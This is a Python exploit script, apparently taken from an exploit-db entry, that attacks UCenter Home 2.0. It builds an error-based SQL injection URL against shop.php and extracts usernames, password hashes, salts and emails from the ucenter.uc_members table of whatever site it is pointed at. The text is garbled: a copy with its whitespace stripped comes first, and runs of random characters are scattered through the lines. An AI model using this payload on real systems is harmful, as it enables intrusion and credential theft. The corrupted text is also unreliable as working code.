#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
1 c% B2 B, X1 N' ]! b6 O: m
6 y( f9 J; G! W! `) S7 U% ~
( l& U% @' k5 W; f: x v#!/usr/bin/env python $ Q9 ~3 d8 h4 a5 p$ J, J3 b2 K
! y4 Y+ o, p- P" S5 [6 bimport sys 7 z& G* W: y' G$ x. _
import urllib2
( r- M8 y2 @4 w: X6 T: f+ h+ uimport re 3 Z2 Y# Y2 w& Z5 m" c. ^6 w6 u
& G& `$ s+ r# _ {8 h0 D+ r* \
def info(): ; q3 _1 o: m- a6 X$ {9 B: F& a* H- }5 G
print 'From:http://www.exploit-db.com/exploits/14997/'
1 f, k0 T, f( U8 a+ J6 Q/ A print 'http://www.hake.cc/Web_loudong/'
) g8 _7 \( n5 b: r; N; M$ k C print 'changed:qiaoy' 8 e7 |; ]5 d' X; l( M8 l
print 'exp:'
! s- _# }" ~" m3 i3 F) C. _ print ' ./UCenter_Home_2.0.py site'
/ T& v: z) t" Y% h0 g: G8 F) ?, Y$ w
8 E7 E# {7 D1 k8 X& Rdef main():
/ I/ ~0 ?& ?9 p. ~+ ` if len(sys.argv) != 2: . h% G3 l& d0 x8 r. r. B
info() ! C$ y3 n( w$ \! |* q
else: 0 l, ^" \, }5 h
site = sys.argv[1]
3 i% U s4 Q* G7 E if site[0:7] == 'http://':
7 s2 ]9 f5 r8 U) Q8 }6 O/ G5 ` sitesite =site
: {5 V+ \, i9 N V elif site[0:8] == 'https://':
' Q0 g! i6 `7 s# V sitesite = site # D+ w7 @; u% b% h( d- ~! Z
else:
- F/ a9 S- }! L2 _- H site = 'http://'+site ! K' ~/ p8 i* ~- w$ M8 d% R
try: 8 L* f7 _1 z; K
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 6 ~( F8 ^8 y. [, g% v$ I
Value = urllib2.urlopen(url).read() 3 y# U. L( ^& y0 M. Z* G) ]# J0 w
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] 0 P/ z% ?4 q7 w. {" g
hacked = Msg.split(':') # {' |$ w1 q9 p8 I
print 'Name: '+hacked[1]
- [" X; [1 ~; [% r print 'Passwd: '+hacked[2] * `4 b2 j: c, S& ^! K" Y! F
print 'salt: '+hacked[3] % ^) C1 P0 R- H2 B3 t# N
print 'email: '+hacked[4] 6 D/ ^" U( y6 b6 B
except: # i6 q3 I& d4 Y5 h: b
print 'Sorry,I can\'t work............' + n- N1 G8 }+ ?
* M5 Q# t- [7 m$ ^/ Y. C7 F" G8 g: Sif __name__ == '__main__':
. u6 g% `6 }. x6 J) {# T; m+ P main() |